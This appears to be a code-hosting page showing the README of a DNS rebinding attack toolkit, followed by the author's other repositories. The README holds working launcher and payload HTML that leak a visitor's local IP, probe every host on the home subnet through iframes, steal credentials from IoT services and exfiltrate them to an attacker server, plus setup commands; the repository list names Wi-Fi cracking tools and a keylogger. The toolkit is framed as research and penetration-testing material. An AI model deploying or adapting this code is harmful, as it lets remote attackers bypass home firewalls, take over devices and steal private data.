• Stars
    star
    482
  • Rank 91,212 (Top 2 %)
  • Language
    JavaScript
  • License
    MIT License
  • Created over 6 years ago
  • Updated about 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A front-end JavaScript toolkit for creating DNS rebinding attacks.

DNS Rebind Toolkit

Demo | Security Advisory | Included Payloads | FAQ

DISCLAIMER: This software is for educational purposes only. This software should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

DNS Rebind Toolkit is a frontend JavaScript framework for developing DNS Rebinding exploits against vulnerable hosts and services on a local area network (LAN). It can be used to target devices like Google Home, Roku, Sonos WiFi speakers, WiFi routers, "smart" thermostats, and other IoT devices. With this toolkit, a remote attacker can bypass a router's firewall and directly interact with devices on the victim's home network, exfiltrating private information and in some cases, even controlling the vulnerable devices themselves.

The attack requires a victim on the target network to simply follow a link, or be shown an HTML ad containing a malicious iframe. From their, the victim's web browser is used like a proxy to directly access other hosts connected to their home network. These target machines and services would otherwise be unavailable to the attacker from the Internet. The remote attacker may not know what those services are, or what IP addresses they occupy on the victim's network, but DNS Rebind Toolkit handles this by brute forcing hundreds of likely IP addresses.

Under the hood, this tool makes use of a public whonow DNS server running on rebind.network:53 to execute the DNS rebinding attack and fool the victim's web browser into violating the Same-origin policy. From their, it uses WebRTC to leak the victim's private IP address, say 192.168.1.36. It uses the first three octets of this local IP address to guess the network's subnet and then inject 256 iframes, from 192.168.1.0-255 delivering a payload to each host that could possibly be on the network subnet.

This toolkit can be used to develop and deploy your own DNS rebinding attacks. Several real-world attack payloads are included with this toolkit in the payloads/ directory. These payloads include information exfiltration (and rickroll tom-foolery) attacks against a few popular IoT devices, including Google Home and Roku products.

This toolkit is the product of independent security research into DNS Rebinding attacks. You can read about that original research here.

Getting Started

# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# install dependencies
npm install

# run the server using root to provide access to privileged port 80 
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server

By default, server.js serves payloads targeting Google Home, Roku, Sonos speakers, Phillips Hue light bulbs and Radio Thermostat devices running their services on ports 8008, 8060, 1400, 80 and 80 respectively. If you've got one of these devices on your home network, navigate to http://rebind.network for a nice surprise ;). Open the developer's console and watch as these services are harmlessly exploited causing data to be stolen from them and exfiltrated to server.js.

API and Usage

This toolkit provides two JavaScript objects that can be used together to create DNS rebinding attacks:

  • DNSRebindAttack: This object is used to launch an attack against a vulnerable service running on a known port. It spawns one payload for each IP address you choose to target. DNSRebindAttack objects are used to create, manage, and communicate with multiple DNSRebindNode objects. Each payload launched by DNSRebindAttack must contain a DNSRebindNode object.
  • DNSRebindNode: This static class object should be included in each HTML payload file. It is used to target one service running on one host. It can communicate with the DNSRebindAttack object that spawned it and it has helper functions to execute the DNS rebinding attack (using DNSRebindNode.rebind(...)) as well as exfiltrate data discovered during the attack to server.js (DNSRebindNode.exfiltrate(...)).

These two scripts are used together to execute an attack against unknown hosts on a firewall protected LAN. A basic attack looks like this:

  1. Attacker sends victim a link to a malicious HTML page that launches the attack: e.g. http://example.com/launcher.html. launcher.html contains an instance of DNSRebindAttack.
  2. The victim follows the attacker's link, or visits a page where http://example.com/launcher.html is embedded as an iframe. This causes the DNSRebindAttack on launcher.html to begin the attack.
  3. DNSRebindAttack uses a WebRTC leak to discover the local IP address of the victim machine (e.g. 192.168.10.84). The attacker uses this information to choose a range of IP addresses to target on the victim's LAN (e.g. 192.168.10.0-255).
  4. launcher.html launches the DNS rebinding attack (using DNSRebindAttack.attack(...)) against a range of IP addresses on the victim's subnet, targeting a single service (e.g. the undocumented Google Home REST API available on port 8008).
  5. At an interval defined by the user (200 milliseconds by default), DNSRebindAttack embeds one iframe containing payload.html into the launcher.html page. Each iframe contains one DNSRebindNode object that executes an attack against port 8008 of a single host defined in the range of IP addresses being attacked. This injection process continues until an iframe has been injected for each IP address that is being targeted by the attack.
  6. Each injected payload.html file uses DNSRebindNode to attempt a rebind attack by communicating with a whonow DNS server. If it succeeds, same-origin policy is violated and payload.html can communicate with the Google Home product directly. Usually payload.html will be written in such a way that it makes a few API calls to the target device and exfiltrates the results to server.js running on example.com before finishing the attack and destroying itself.

Note, if a user has one Google Home device on their network with an unknown IP address and an attack is launched against the entire 192.168.1.0/24 subnet, then one DNSRebindNode's rebind attack will be successful and 254 will fail.

Examples

An attack consists of three coordinated scripts and files:

  • An HTML file containing an instance of DNSRebindAttack (e.g. launcher.html)
  • An HTML file containing the attack payload (e.g. payload.html). This file is embedded into launcher.html by DNSRebindAttack for each IP address being targetted.
  • A DNS Rebinding Toolkit server (server.js) to deliver the above files and exfiltrate data if need be.

launcher.html

Here is an example HTML launcher file. You can find the complete document in examples/launcher.html.

<!DOCTYPE html>
<head>
	<title>Example launcher</title>
</head>
<body>
    <!-- This script is a depency of DNSRebindAttack.js and must be included -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack has a static method that uses WebRTC to leak the
    // browser's IP address on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick didn't work (doesn't work
        // in some browsers). No biggie, most home networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    function launchRebindAttack(localIp) {
        
        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // The first argument is the domain name of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've got one running on port 53 of rebind.network you can to use.
        // The services you are attacking might not be running on port 80 so 
        // you will probably want to change that too.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service
        // on each host of the subnet (or so we hope).
        // Arguments are:
        //  1) target ip addresses
        //  2) IP address your Node server.js is running on. Usually 127.0.0.1
        //     during dev, but then the publicly accessible IP (not hostname)
        //     of the VPS hosting this repo in production.
        //  3) the HTML payload to deliver to this service. This HTML file should
        //     have a DNSRebindNode instance implemented on in it.
        //  4) the interval in milliseconds to wait between each new iframe
        //     embed. Spawning 100 iframes at the same time can choke (or crash)
        //     a browser. The higher this value, the longer the attack takes,
        //     but the less resources it consumes.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes is also an EventEmitter, only this one is fired using
        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
        // iframes to post messages back to the parent DNSRebindAttack that
        // launched them. You can define custome events by simply emitting
        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
        // can receive it. That said, there are a few standard event names that
        // get triggered automagically:
        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an attack has been launched (or at least, it's payload was
        //    delivered) against an IP address.
        //  - rebind: the DNS rebind was successful, this node should now be
        //    communicating with the target service.
        //  - exfiltrate: send JSON data back to your Node server.js and save
        //    it inside the data/ folder.
        // Additionally, the DNSRebindNode.destroy() static method
        // will trigger the 'destory' event and cause DNSRebindAttack to
        // remove the iframe.

        rebind.nodes.on('begin', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was successful
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON data was exfiltrated and saved to the data/
            // folder on the remote machine hosting server.js
            
            console.log('node exfiltrate', ip, data)
            
            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

payload.html

Here is an example HTML payload file. You can find the complete document in examples/payload.html.

<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // there was an error at some point during the attack
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // remove this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the attack and returns a promise that is resolved if the target
    // service is found and correctly exploited, or more likely, rejected because
    // this host doesn't exist, the target service isn't running, or something
    // went wrong with the exploit. Remember that this attack is being launched
    // against 255+ IP addresses, so most of them won't succeed.
    async function attack() {

        // DNSRebindNode has some default fetch options that specify things
        // like no caching, etc. You can re-use them for convenience, or ignore
        // them and create your own options object for each fetch() request.
        // Here are their default values:
        // {
        //     method: "GET",
        //     headers: {
        //         // this doesn't work in all browsers. For instance,
        //         // Firefox doesn't let you do this.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // In this example, we'll pretend we are attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe those creds, we need to first perform the rebind
            // attack. Most likely, our webserver will cache the DNS results
            // for this page's host. DNSRebindNode.rebind(...) recursively
            // re-attempts to rebind the host with a new, target IP address.
            // This can take over a minute, and if it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these options get passed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is considered successful
                // if it receives an HTTP 200 OK response from the target service.
                // However, you can define any kind of "rebind success" scenario
                // yourself with the successPredicate(...) function. This
                // function receives a fetch result as a parameter and the return
                // value determines if the rebind was successful (i.e. you are
                // communicating with the target server). Here we check to see
                // if the fetchResult was sent by our example vulnerable server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take up to over a minute depending on the 
            // victim's DNS cache settings or if there is no host listening on
            // the other side.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // never cleared, or more likely, this service isn't running on the
            // target host. Oh well... Bubble up the rejection and have our
            // attack()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        try {
            // alrighty, now that we've rebound the host and are communicating
            // with the target service, let's grab the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // great, now let's exfiltrate those creds to the Node.js server
            // running this whole shebang. That's the last thing we care about,
            // so we will just return this promise as the result of attack()
            // and let its handler's deal with it.
            //
            // NOTE: the second argument to exfiltrate(...) must be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

server.js

This script is used to deliver the launcher.html and payload.html files, as well as receive and save exifltrated data from the DNSRebindNode to the data/ folder. For development, I usually run this server on localhost and point DNSRebindAttack.attack(...) towards 127.0.0.1. For production, I run the server on a VPS cloud server and point DNSRebindAttack.attack(...) to its public IP address.

# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this help message and exit.
  -v, --version         Show program's version number and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May include 
                        multiple like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

More Examples

I've included an example vulnerable server in examples/vulnerable-server.js. This vulnerable service MUST be run from another machine on your network, as it's port MUST match the same port as server.js. To run this example attack yourself, do the following:

Secondary Computer

# clone the repo 
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000

Primary Computer

node server --port 3000

Now, navigate your browser to http://localhost:3000/launcher.html and open a dev console. Wait a minute or two, if the attack worked you should see some dumped credz from the vulnerable server running on the secondary computer.

Check out the examples/ and payloads/ directories for more examples.

Files and Directories

  • server.js: The DNS Rebind Toolkit server
  • payloads/: Several HTML payload files hand-crafted to target a few vulnerable IoT devices. Includes attacks against Google Home, Roku, and Radio Thermostat for now. I would love to see more payloads added to this repo in the future (PRs welcome!)
  • examples/: Example usage files.
  • data/: Directory where data exfiltrated by DNSRebindNode.exfiltrate(...) is saved.
  • share/: Directory of JavaScript files shared by multiple HTML files in examples/ and payload/.

This toolkit was developed to be a useful tool for researchers and penetration testers. If you'd like to see some of the research that led to it's creation, check out this post. If you write a payload for another service, consider making a PR to this repository so that others can benefit from your work!

More Repositories

1

wifi-cracking

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat
10,642
star
2

PassGAN

A Deep Learning Approach for Password Guessing (https://arxiv.org/abs/1709.00440)
Python
1,749
star
3

naive-hashcat

Crack password hashes without the fuss 🐈
C
1,075
star
4

chattervox

πŸ“‘ An AX.25 packet radio chat protocol with support for digital signatures and binary compression. Like IRC over radio waves.
TypeScript
748
star
5

whonow

A "malicious" DNS server for executing DNS Rebinding attacks on the fly (public instance running on rebind.network:53)
JavaScript
618
star
6

sniff-probes

Plug-and-play bash script for sniffing 802.11 probes requests πŸ‘ƒ
Shell
231
star
7

apibuilder

Easy API builder mini library for PHP
PHP
202
star
8

host-validation

Express.js middleware for "Host" and "Referer" header validation to protect against DNS rebinding attacks.
JavaScript
190
star
9

distributed-password-cracking

Borrow CPU cycles from visitor's web browsers to crack MD5 password hashes 😲
JavaScript
181
star
10

midi-rnn

Generate monophonic melodies with machine learning using a basic LSTM RNN
Python
155
star
11

ProbeKit

SSID Probe Request Collection Workshop
JavaScript
133
star
12

keras_weight_animator

Save keras weight matrices as short animated videos during training
Python
105
star
13

ml4music-workshop

Machine Learning for Music and Sound Synthesis workshop
Jupyter Notebook
104
star
14

GloVe-experiments

GloVe word vector embedding experiments (similar to Word2Vec)
Python
60
star
15

radio-thermostat

Radio Thermostat CT50 & CT80 REST API notes
33
star
16

rust-incompatible-transitive-dependencies

An example demonstrating how Rust and cargo support incompatible transitive dependencies (like Node.js + npm not Python + pip)
Rust
29
star
17

letterpress

A nefarious keylogger for Ubuntu. Encrypts keylogs and uploads to pastebin.
Python
26
star
18

the-wandering-dreamer

The Wandering Dreamer: An Synthetic Feedback Loop
JavaScript
22
star
19

pw

Generate strong passwords using /dev/urandom πŸ‘»
Shell
15
star
20

markov-passwords

Markov-chain password generator
Python
13
star
21

chirp-files

A collection of notable radio frequencies near Philadelphia PA and beyond
11
star
22

chattervox-examples

A collection of example applications and use cases for the Chattervox protocol
Python
11
star
23

quartzite

Auto-log screenshots and metadata to your personal cloud server when surfing the web
PHP
11
star
24

aprsc-docker

A dockerized aprsc APRS-IS server
Dockerfile
11
star
25

xmrig-k8s

Mine Monero using leftover resources in a Kubernetes cluster
10
star
26

chattervox-keys

A public chattervox key server πŸ”‘
Python
9
star
27

cve

A collection of vulnerabilities found through independent security research.
8
star
28

DreamMachines

Research into using Machine Learning to hallucinate circuit board schematics
KiCad Layout
8
star
29

pokemods

A small collection of PokΓ©mon Red & Blue Gameboy game mods.
Assembly
7
star
30

attacker-personas

πŸ΄β€β˜ οΈ Use attacker personas to improve your threat modeling and cybersecurity practices
7
star
31

vanity-keygen

A vanity key generator for the P224, P256, P384, and P521 elliptic curves.
Go
7
star
32

go-runway

A small Go module for interfacing with RunwayML
Go
7
star
33

helm-charts

A small collection of helm charts
HTML
6
star
34

ofTutoring

Course repository for 1-on-1 openFrameworks/C++ tutoring
6
star
35

markov

A small Markov chain generator πŸ“ƒ
Go
5
star
36

distance-sort

Sort geographic locations by their distance from eachother
Python
5
star
37

twilio-cleverbot

Talk to Cleverbot from your phone
JavaScript
4
star
38

BetweenTheTwoOfThese

Custom openFrameworks applications for an 80ft projection installation in Atlanta
C++
4
star
39

spectrum-wrangler-docker

A Dockerized version of Spectrum Wrangler that downloads and geo indexes public FCC license data
Dockerfile
4
star
40

indexd

Archive and connect independent artists websites
PHP
4
star
41

exchatter

A personalized chatbot framework for Node js
JavaScript
4
star
42

application-security-workshop

HTML
4
star
43

LANlockED

PirateBox style LAN tutorial website for EmptyBox
HTML
3
star
44

LEDWallVideoPlayer

Video player application for the Moment LED wall installation at Dolby Labs
C++
3
star
45

pastebin-mirror-docker

A dockerized version of the pastebin-mirror service.
Dockerfile
3
star
46

manifesto

A young art and technologist's manifesto
3
star
47

picamstreaming

Stream directly to Youtube from the Raspberry Pi camera module
Python
2
star
48

thisisatrackingdevice

An interactive map to display data from a public tracking device project
Processing
2
star
49

osm-museums

Open Street Maps data for all museums on earth (36,694 as of June 5th, 2017)
Python
2
star
50

gpssandbox

Sandbox to play with gps/gpx data visualization using google maps api
Processing
2
star
51

kiss-tnc

Talk to a packet radio KISS TNC over a serial port.
JavaScript
2
star
52

runway-glove

A Runway model for experimenting with GloVe vector embeddings
Python
2
star
53

rtl-433-influxdb-importer

Import data from an Acurite 5-in-1 weather station into influxdb
Python
2
star
54

osm-syria-poi

Open Street Maps data for cultural/historic points of interest in Syria
Python
2
star
55

ofxCanvasEvents

Broadcasts mouse, touch, and key events from an HTML5 Canvas to an openFrameworks app
JavaScript
2
star
56

P5AlbersColorTheory

Materials for an introduction to P5.js lecture themed around Josef Albers inspired color theory.
JavaScript
1
star
57

oculusself

Self reflection with the Oculus Rift
C++
1
star
58

projectortracking

A sandbox repo for projects aimed to make any projector touch screen
Processing
1
star
59

OculusWebcamExperiments

Experimental webcam projects for the Oculus Rift. Built with openFrameworks.
C++
1
star
60

nodesandbox

A sandbox repo for node.js + RPi experiments
JavaScript
1
star
61

ChessEmbeddings

GloVe vector embeddings of chess moves
Jupyter Notebook
1
star
62

ofBook_IntroToGraphics

1
star
63

looplamp

Raspberry Pi + Node.js interactive lamp project
JavaScript
1
star
64

ml-sandbox

Machine Learning sandbox
Python
1
star
65

brannondorsey.com

My portfolio website
PHP
1
star
66

website

Personal Website. Using Kirby CMS.
PHP
1
star
67

scarecrow

A Node.js chat bot that learns.
JavaScript
1
star
68

tvtalker-app

TVTalker Display app made with openFrameworks
C++
1
star
69

OpenNIWebSocketDaemon

Stream depth and skeleton tracking data from OpenNI2 + NiTE2 to the browser via WebSockets
JavaScript
1
star
70

UBox

Generalized modular framework to create software like PirateBox or LibraryBox
JavaScript
1
star
71

oFMaskTool

C
1
star
72

webconnections

A node.js powered command-line app for illustrating the degrees of separation between webpages
JavaScript
1
star
73

brbxoxo

PHP
1
star
74

vectorpi

C++
1
star
75

LEDWallInteractive

Interactive scenes for the Moment LED wall installation at Dolby Labs (Authored by Jason Van Cleave and Brannon Dorsey)
C++
1
star
76

exes

A romantic artificial intelligence project
Python
1
star
77

zetamaze

Repo for the Zetamaze threejs project
JavaScript
1
star
78

ProgrammingForArtists

Art && Programming Lecture @ The School of the Art Institute of Chicago, March 2017
JavaScript
1
star